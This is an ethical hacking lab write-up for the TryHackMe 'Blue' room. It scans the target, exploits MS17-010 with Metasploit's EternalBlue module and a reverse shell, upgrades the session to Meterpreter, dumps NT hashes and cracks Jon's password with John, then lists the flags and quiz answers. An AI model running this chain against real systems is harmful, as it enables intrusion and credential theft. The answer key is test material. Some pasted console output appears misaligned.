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Ethical Hacking

Blue Practical

1. Log into **TryHackMe** using your gmail account.
2. Once logged in, click on your account → Manage account → **VM and VPN configuration**
3. Download the openvpn configuration file
4. Open a terminal in Kali, and type the following commands:
 - a. **cd Downloads**
 - b. **sudo openvpn configuration_file.ovpn**Leave the terminal open
5. Go to **TryHackMe** → Search 'Blue' → Open **Blue** lab
6. An IP address will be assigned for the lab machine: **10.48.163.182**
tun0 IP is: **192.168.160.169**
7. Open a new terminal and type the following commands:
 - a. **ping 10.48.163.182 (machine_ip)**
 - b. **nmap -sV -vv --script vuln 10.48.163.182**

```
(yukta@kali)~$ nmap -sV -vv --script vuln 10.48.163.182
Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-25 00:34 +0530
NSE: Loaded 152 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 00:34
Completed NSE at 00:34, 10.03s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 00:34
Completed NSE at 00:34, 0.00s elapsed
Initiating Ping Scan at 00:34
Scanning 10.48.163.182 [4 ports]
Completed Ping Scan at 00:34, 0.03s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 00:34
Completed Parallel DNS resolution of 1 host. at 00:34, 0.50s elapsed
Initiating SYN Stealth Scan at 00:34
Scanning 10.48.163.182 [1000 ports]
Discovered open port 135/tcp on 10.48.163.182
Discovered open port 445/tcp on 10.48.163.182
Discovered open port 139/tcp on 10.48.163.182
Discovered open port 3389/tcp on 10.48.163.182
Discovered open port 49155/tcp on 10.48.163.182
Discovered open port 49154/tcp on 10.48.163.182
Discovered open port 5985/tcp on 10.48.163.182
Discovered open port 49152/tcp on 10.48.163.182
Discovered open port 49153/tcp on 10.48.163.182
Discovered open port 49165/tcp on 10.48.163.182
Completed SYN Stealth Scan at 00:34, 1.55s elapsed (1000 total ports)

Host script results:
|_ smb-vuln-ms10-054: false
|_ smb-vuln-ms10-061: ERROR: Script execution failed (use -d to debug)
|_ smb-vuln-ms17-010:
|   VULNERABLE:
|     Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs: CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SM
Bv1
|     servers (ms17-010).
|
|     Disclosure date: 2017-03-14
|     References:
|       https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance
-for-wannacrypt-attacks/
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
```

8. **Task 1: Recon in TryHackMe**

How many ports are open with the port number under 1000? → **3: 139, 135, 445**

What is this machine vulnerable to? → **ms17-010**
9. Start msfconsole in the terminal and type the following commands:
 - a. **search ms17-010**Copy the full path of code
- b. **use 0**
 - c. **show options**

d. set LHOST 192.168.160.169 (tun0_ip)

e. set RHOSTS 10.48.163.182

f. set payload windows/x64/shell/reverse_tcp

g. exploit

Ctrl + Z → y

10. Task 2: Gain Access

What is the full path of the code? →

exploit/windows/smb/ms17_010_eternalblue

What is the name of the value that we have to set after show options? →

RHOSTS

```
msf > search ms17-010

Matching Modules
=====
#  Name
--  -
0  exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average Yes MS17-010 Eternal
    blue SMB Remote Windows Kernel Pool Corruption
1  \ target: Automatic Target
2  \ target: Windows 7
3  \ target: Windows Embedded Standard 7
4  \ target: Windows Server 2008 R2
5  \ target: Windows 8
6  \ target: Windows 8.1
7  \ target: Windows Server 2012
8  \ target: Windows 10 Pro
9  \ targets: Windows 10 Enterprise Evaluation
10 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal Yes MS17-010 Eternal
    Romance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
11 \ target: Automatic
12 \ target: PowerShell
13 \ target: Native upload
14 \ target: MOF upload
15 \ AKA: ETERNALSYNERGY
16 \ AKA: ETERNALROMANCE
17 \ AKA: ETERNALCHAMPION
18 \ AKA: ETERNALBLUE
19 auxiliary/admin/smb/ms17_010_command 2017-03-14 normal No MS17-010 Eternal
    Romance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
20 \ AKA: ETERNALSYNERGY
21 \ AKA: ETERNALROMANCE
22 \ AKA: ETERNALCHAMPION
23 \ AKA: ETERNALBLUE
24 auxiliary/scanner/smb/smb_ms17_010 normal Yes MS17-010 SMB RC
    E Detection
25 \ AKA: DOUBLEPULSAR
26 \ AKA: ETERNALBLUE
27 exploit/windows/smb/smb_doublepulsar_rce 2017-04-14 great Yes SMB DOUBLEPULSA
    R Remote Code Execution
28 \ target: Execute payload (x64)
29 \ target: Neutralize implant

Interact with a module by name or index. For example info 29, use 29 or use exploit/windows/smb/smb_doublepulsar_rce
After interacting with a module you can manually set a TARGET with set TARGET 'Neutralize Implant'

msf > use 0
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp

msf exploit(windows/smb/ms17_010_eternalblue) > show options

Module options (exploit/windows/smb/ms17_010_eternalblue):

Name          Current Setting  Required  Description
--          -
RHOSTS        192.168.0.136   yes       The target host(s), see https://docs.metasploit.com/doc
SMBDomain     445             no        The target port (TCP)
SMBUser       4444            no        (Optional) The Windows domain to use for authentication
SMBPass       4444            no        Only affects Windows Server 2008 R2, Windows 7, Windo
VERIFIY_ARCH  true            yes       ws Embedded Standard 7 target machines.
VERIFIY_TARGET true            yes       (Optional) The password for the specified username
Check if remote architecture matches exploit Target. On
ly affects Windows Server 2008 R2, Windows 7, Windows E
mbedded Standard 7 target machines.
Check if remote OS matches exploit Target. Only affects
Windows Server 2008 R2, Windows 7, Windows Embedded St
andard 7 target machines.

Payload options (windows/x64/meterpreter/reverse_tcp):

Name          Current Setting  Required  Description
--          -
EXITFUNC      thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
LHOST         192.168.0.136   yes       The listen address (an interface may be specified)
LPORT         4444            yes       The listen port

Exploit target:

Id  Name
--  -
0   Automatic Target

View the full module info with the info, or info -d command.

msf exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 10.48.163.182
RHOSTS => 10.48.163.182
msf exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.160.169
LHOST => 192.168.160.169
msf exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/shell/reverse_tcp
payload => windows/x64/shell/reverse_tcp
```

```
msf exploit(windows/smb/ms17_010_eternalblue) > run
[*] Started reverse TCP handler on 192.168.160.169:4444
[*] 10.48.163.182:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[*] 10.48.163.182:445 - Host is likely VULNERABLE to MS17-010! - Windows Server 2012 R2 Datacenter
9600 x64 (64-bit)
/usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/recog-3.1.29/lib/recog/fingerprint/regex
p_factory.rb:34: warning: nested repeat operator '+' and '?' was replaced with '*' in regular expressi
on
[*] 10.48.163.182:445 - Scanned 1 of 1 hosts (100% complete)
[*] 10.48.163.182:445 - The target is vulnerable.
[*] 10.48.163.182:445 - shellcode size: 1283
[*] 10.48.163.182:445 - numGroomConn: 12
[*] 10.48.163.182:445 - Target OS: Windows Server 2012 R2 Datacenter 9600
[*] 10.48.163.182:445 - got good NT Trans response
[*] 10.48.163.182:445 - got good NT Trans response
[*] 10.48.163.182:445 - SMB1 session setup allocate nonpaged pool success
[*] 10.48.163.182:445 - SMB1 session setup allocate nonpaged pool success
[*] 10.48.163.182:445 - good response status for nx: INVALID_PARAMETER
[*] 10.48.163.182:445 - good response status for nx: INVALID_PARAMETER
[*] Sending stage (336 bytes) to 10.48.163.182
[*] Command shell session 1 opened (192.168.160.169:4444 → 10.48.163.182:49211) at 2026-09-25 00:26:0
6 +0530

Shell Banner:
Microsoft Windows [Version 6.3.9600]

C:\Windows\system32>^Z
Background session 1? [y/N] y
```

11. The commands are as follows:
- search shell_to_meterpreter
 - use 0
 - show options
 - set session 1
 - set LHOST 192.168.160.169
 - run
 - sessions -u 1
 - sessions -i 2

```
msf exploit(windows/smb/ms17_010_eternalblue) > search shell_to_meterpreter
Matching Modules
-----
| # | Name | Disclosure Date | Rank | Check | Description |
|---|---|---|---|---|---|
| 0 | post/multi/manage/shell_to_meterpreter | . | normal | No | Shell to Meterpreter Upgrade |

Interact with a module by name or index. For example info 0, use 0 or use post/multi/manage/shell_to_meterpreter

msf exploit(windows/smb/ms17_010_eternalblue) > use 0
msf post(multi/manage/shell_to_meterpreter) > show options
Module options (post/multi/manage/shell_to_meterpreter):
-----
| Name | Current Setting | Required | Description |
|---|---|---|---|
| HANDLER | true | yes | Start an exploit/multi/handler to receive the connection |
| LHOST | 192.168.160.169 | no | IP of host that will receive the connection from the payload (will try to auto detect). |
| LPORT | 4433 | yes | Port for payload to connect to. |
| SESSION | 1 | yes | The session to run this module on |

View the full module info with the info, or info -d command.

msf post(multi/manage/shell_to_meterpreter) > set LHOST 192.168.160.169
LHOST => 192.168.160.169
msf post(multi/manage/shell_to_meterpreter) > set session 1
session => 1
msf post(multi/manage/shell_to_meterpreter) > run
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.160.169:4433
[*] Post module execution completed
msf post(multi/manage/shell_to_meterpreter) >
[*] Sending stage (248902 bytes) to 10.48.163.182
[*] Meterpreter session 2 opened (192.168.160.169:4433 -> 10.48.163.182:4433) at 2026-09-25 00:27:10 +0530
[*] Stopping exploit/multi/handler

msf post(multi/manage/shell_to_meterpreter) > sessions -u 1
[*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s): [1]
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.160.169:4433
```

```
msf post(multi/manage/shell_to_meterpreter) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
```

12. Meterpreter opens and the commands are:
- getuid
 - ps
 - migrate <pid> (PID of last process → conhost.exe)

```
meterpreter > ps
Process List
-----
PID PPID Name Arch Session User Path
0 0 [System Process]
4 0 System x64 0 NT AUTHORITY\SYSTEM C:\Windows\system32\smss.exe
212 4 smss.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\system32\csrss.exe
308 300 csrss.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\system32\wininit.exe
364 300 wininit.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\system32\svchost.exe
372 352 csrss.exe x64 0 NT AUTHORITY\LOCAL SERVICE C:\Windows\system32\winlogon.exe
400 352 winlogon.exe x64 1 NT AUTHORITY\SYSTEM C:\Windows\system32\services.exe
456 364 services.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\system32\lsass.exe
472 364 lsass.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\system32\svchost.exe
536 456 svchost.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\system32\svchost.exe
584 456 svchost.exe x64 0 NT AUTHORITY\NETWORK SERVICE C:\Windows\system32\conhost.exe
616 620 conhost.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\system32\powershell.exe
620 1300 powershell.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\system32\LogonUI.exe
660 400 LogonUI.exe x64 1 NT AUTHORITY\SYSTEM C:\Windows\system32\dm.exe
668 400 dm.exe x64 1 Window Manager\OWM-1
732 456 svchost.exe x64 0 NT AUTHORITY\LOCAL SERVICE C:\Windows\system32\svchost.exe
760 456 svchost.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\system32\svchost.exe
836 456 svchost.exe x64 0 NT AUTHORITY\LOCAL SERVICE C:\Windows\system32\spoolsv.exe
928 456 svchost.exe x64 0 NT AUTHORITY\NETWORK SERVICE C:\Windows\system32\spoolsv.exe
1028 456 spoolsv.exe x64 0 NT AUTHORITY\SYSTEM C:\Program Files\Amazon\SSM\amazon-ssm-agent.exe
1064 456 amazon-ssm-agent.exe x64 0 NT AUTHORITY\SYSTEM C:\Program Files\Amazon\SSM\ssm-agent-worker.exe
1168 456 svchost.exe x64 0 NT AUTHORITY\SYSTEM C:\Program Files\Amazon\SSM\ssm-agent-worker.exe
1556 456 svchost.exe x64 0 NT AUTHORITY\NETWORK SERVICE C:\Windows\system32\conhost.exe
1608 456 svchost.exe x64 0 NT AUTHORITY\NETWORK SERVICE C:\Windows\system32\conhost.exe
1700 536 WmiPrvSE.exe x64 0 NT AUTHORITY\SYSTEM C:\Program Files\Amazon\SSM\ssm-agent-worker.exe
1908 1064 ssm-agent-worker.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\system32\conhost.exe
1916 1908 conhost.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\system32\conhost.exe
```

```
1916 1908 conhost.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\system32\conhost.exe
2476 2444 powershell.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
2788 1028 cmd.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\system32\cmd.exe
2796 2788 conhost.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\system32\conhost.exe
2920 456 msdtc.exe x64 0 NT AUTHORITY\NETWORK SERVICE C:\Windows\system32\conhost.exe
```

```
meterpreter > migrate 2920
[*] Migrating from 620 to 2920...
[-] core_migrate: Operation failed: 1300
meterpreter > migrate 2796
[*] Migrating from 620 to 2796...
[*] Migration completed successfully.
```

13. Task 3: Escalate

What is the name of the post module we will use? →

post/multi/manage/shell_to_meterpreter

What option are we required to change? → **SESSION**

14. In meterpreter, type:

hashdump → dumps hashed passwords of all available users on system

15. Copy Jon's hashed password, create a file on desktop named **hash.txt** and paste it in the file using nano editor.

16. Type the following commands in a new terminal:

a. cd Desktop

b. nano hash.txt

c. cat hash.txt

d. sudo gzip -d /usr/share/wordlists/rockyou.txt.gz

d. john --format=NT --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

```
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:f3118544a831e728781d780cfd9c1fa:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Jon:1002:aad3b435b51404eeaad3b435b51404ee:ffb43f0de35be4d9917ac0cc8ad57f8d:::
```

```
(yukta@kali)~[/Desktop]
$ sudo gzip -d /usr/share/wordlists/rockyou.txt.gz
[sudo] password for yukta:
(yukta@kali)~[/Desktop]
$ john --format=NT --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (NT [MD4 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=2
Press 'q' or Ctrl-C to abort, almost any other key for status
alqfna22 (Jon)
lg 0:00:00:00 DONE (2026-09-24 22:21) 1.923g/s 19616Kp/s 19616Kc/s 19616Kc/s
alr19882006..alpusidi
Use the "--show --format=NT" options to display all of the cracked passwords reliably
Session completed.
```

17. Task 4: Cracking

What is the name of the non-default user? → **Jon**

What is the cracked password? → **alqfna22**

18. Type 'shell' in the meterpreter to activate a shell in target machine

```
meterpreter > shell
Process 580 created.
Channel 1 created.
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
```

19. Type the following commands for the task:

- a. C:\
- b. dir
- c. type flag1.txt (Copy the contents)
- d. cd C:\Windows\System32\config
- e. dir
- f. type flag2.txt
- g. cd C:\Users\Jon\Documents
- h. dir
- i. type flag3.txt

```
C:\Windows>cd C:\
C:\>dir
dir
Volume in drive C has no label.
Volume Serial Number is 6C01-379A

Directory of C:\

09/24/2026 11:54 AM <DIR> .
09/24/2026 11:54 AM <DIR> ..
07/31/2026 11:55 AM          262,144 BCD-Template
09/24/2026 11:54 AM      36,700,160 COMPONENTS
08/22/2013 06:25 AM          0 COMPONENTS.LOG
07/31/2026 03:00 PM      262,144 DEFAULT
08/22/2013 06:25 AM          0 DEFAULT.LOG
09/24/2026 11:53 AM    4,517,888 DRIVERS
07/31/2026 01:26 PM          34 flag2.txt
08/22/2013 06:29 AM          164 FP
08/22/2013 06:25 AM <DIR> Journal
09/24/2026 11:50 AM <DIR> RegBack
07/31/2026 03:00 PM      262,144 SAM
07/31/2026 03:00 PM      262,144 SECURITY
08/22/2013 06:25 AM          0 SECURITY.LOG
07/31/2026 03:00 PM    44,826,624 SOFTWARE
08/22/2013 06:25 AM          0 SOFTWARE.LOG
07/31/2026 03:00 PM    11,534,336 SYSTEM
08/22/2013 06:25 AM          0 SYSTEM.LOG
03/21/2014 11:09 AM <DIR> systemprofile
03/21/2014 12:17 PM <DIR> TxR
          15 File(s)    98,627,782 bytes
           6 Dir(s)    41,826,308,096 bytes free

C:\Windows\System32\config>type flag2.txt
type flag2.txt
flag{sam_database_elevated_access}
```

```

C:\Windows\System32\config>cd C:\Users\Jon\Documents
cd C:\Users\Jon\Documents
C:\Users\Jon\Documents>dir
dir
Volume in drive C has no label.
Volume Serial Number is 6C01-379A

Directory of C:\Users\Jon\Documents

07/31/2026  01:39 PM  <DIR>          .
07/31/2026  01:39 PM  <DIR>          ..
07/31/2026  01:29 PM                37 flag3.txt
               1 File(s)                37 bytes
               2 Dir(s) 41,826,308,096 bytes free

C:\Users\Jon\Documents>type flag3.txt
type flag3.txt
flag{admin_documents_can_be_valuable}

```

20. Task 5: Find flags

Flag1? → **flag{access_the_machine}**

Flag2? → **flag{sam_database_elevated_access}**

Flag3? → **flag{admin_documents_can_be_valuable}**

